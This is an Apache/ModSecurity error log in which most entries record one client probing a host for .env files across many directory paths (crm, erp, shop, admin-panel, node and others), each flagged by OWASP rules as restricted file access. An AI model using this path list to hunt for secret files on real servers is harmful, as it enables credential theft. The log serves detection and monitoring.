[Fri Jul 17 09:14:53.582037 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlNVCBpfuYyhJ140vV8gAAAB4"]
[Fri Jul 17 09:14:53.750551 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /crm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/crm/.env"] [unique_id "almlNSRF0UOO1RzB5_8xYwAAAA4"]
[Fri Jul 17 09:14:53.751763 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/crm/.env"] [unique_id "almlNSRF0UOO1RzB5_8xYwAAAA4"]
[Fri Jul 17 09:14:53.971136 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlNSRF0UOO1RzB5_8xYwAAAA4"]
[Fri Jul 17 09:14:54.143244 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /erp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/erp/.env"] [unique_id "almlNo1dLClkUfK_dfHn_wAAAAI"]
[Fri Jul 17 09:14:54.144420 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/erp/.env"] [unique_id "almlNo1dLClkUfK_dfHn_wAAAAI"]
[Fri Jul 17 09:14:54.324529 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:54.349221 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlNo1dLClkUfK_dfHn_wAAAAI"]
[Fri Jul 17 09:14:54.363278 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:54.521389 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/shop/.env"] [unique_id "almlNlh1WDijTxd1xw5PmgAAAAc"]
[Fri Jul 17 09:14:54.522566 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/shop/.env"] [unique_id "almlNlh1WDijTxd1xw5PmgAAAAc"]
[Fri Jul 17 09:14:54.600747 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:54.697648 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:54.747313 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlNlh1WDijTxd1xw5PmgAAAAc"]
[Fri Jul 17 09:14:54.901149 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:54.914637 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /store/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/store/.env"] [unique_id "almlNo1dLClkUfK_dfHoAAAAAAI"]
[Fri Jul 17 09:14:54.915753 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/store/.env"] [unique_id "almlNo1dLClkUfK_dfHoAAAAAAI"]
[Fri Jul 17 09:14:54.969335 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:55.018051 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:55.055645 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:55.124185 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlNo1dLClkUfK_dfHoAAAAAAI"]
[Fri Jul 17 09:14:55.292943 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /saas/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/saas/.env"] [unique_id "almlN1CBpfuYyhJ140vV9QAAAB4"]
[Fri Jul 17 09:14:55.294210 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/saas/.env"] [unique_id "almlN1CBpfuYyhJ140vV9QAAAB4"]
[Fri Jul 17 09:14:55.309818 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:55.382152 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:55.421446 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:55.469324 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlN1CBpfuYyhJ140vV9QAAAB4"]
[Fri Jul 17 09:14:55.517401 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:55.647726 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:55.654617 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:55.659443 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/client/.env"] [unique_id "almlN0gVnBK6wAv37w6v1QAAABQ"]
[Fri Jul 17 09:14:55.660712 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/client/.env"] [unique_id "almlN0gVnBK6wAv37w6v1QAAABQ"]
[Fri Jul 17 09:14:55.715955 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:55.791093 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:55.797523 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:55.848526 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlN0gVnBK6wAv37w6v1QAAABQ"]
[Fri Jul 17 09:14:55.897285 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:56.016507 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/project/.env"] [unique_id "almlOF1_86A5R6msWNfXnQAAABI"]
[Fri Jul 17 09:14:56.017661 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/project/.env"] [unique_id "almlOF1_86A5R6msWNfXnQAAABI"]
[Fri Jul 17 09:14:56.201632 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:32922] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:14:56.204423 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlOF1_86A5R6msWNfXnQAAABI"]
[Fri Jul 17 09:14:56.216704 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:56.360552 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:56.373133 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin-panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/admin-panel/.env"] [unique_id "almlOPwooI4qY7Jg93pYyAAAABM"]
[Fri Jul 17 09:14:56.374341 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/admin-panel/.env"] [unique_id "almlOPwooI4qY7Jg93pYyAAAABM"]
[Fri Jul 17 09:14:56.562381 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlOPwooI4qY7Jg93pYyAAAABM"]
[Fri Jul 17 09:14:56.726481 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:56.733061 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /control-panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/control-panel/.env"] [unique_id "almlOFCBpfuYyhJ140vV-AAAAB4"]
[Fri Jul 17 09:14:56.734271 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/control-panel/.env"] [unique_id "almlOFCBpfuYyhJ140vV-AAAAB4"]
[Fri Jul 17 09:14:56.782886 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:56.962621 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlOFCBpfuYyhJ140vV-AAAAB4"]
[Fri Jul 17 09:14:57.133360 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /user-panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/user-panel/.env"] [unique_id "almlOUkXT4NBqALj2laADwAAABA"]
[Fri Jul 17 09:14:57.134713 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/user-panel/.env"] [unique_id "almlOUkXT4NBqALj2laADwAAABA"]
[Fri Jul 17 09:14:57.355637 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlOUkXT4NBqALj2laADwAAABA"]
[Fri Jul 17 09:14:57.355705 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlOUkXT4NBqALj2laADwAAABA"]
[Fri Jul 17 09:14:57.355727 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlOUkXT4NBqALj2laADwAAABA"]
[Fri Jul 17 09:14:57.489496 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:57.525803 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/node/.env"] [unique_id "almlObEWOaI5pmYo9fnR_AAAAAA"]
[Fri Jul 17 09:14:57.527618 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/node/.env"] [unique_id "almlObEWOaI5pmYo9fnR_AAAAAA"]
[Fri Jul 17 09:14:57.766813 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlObEWOaI5pmYo9fnR_AAAAAA"]
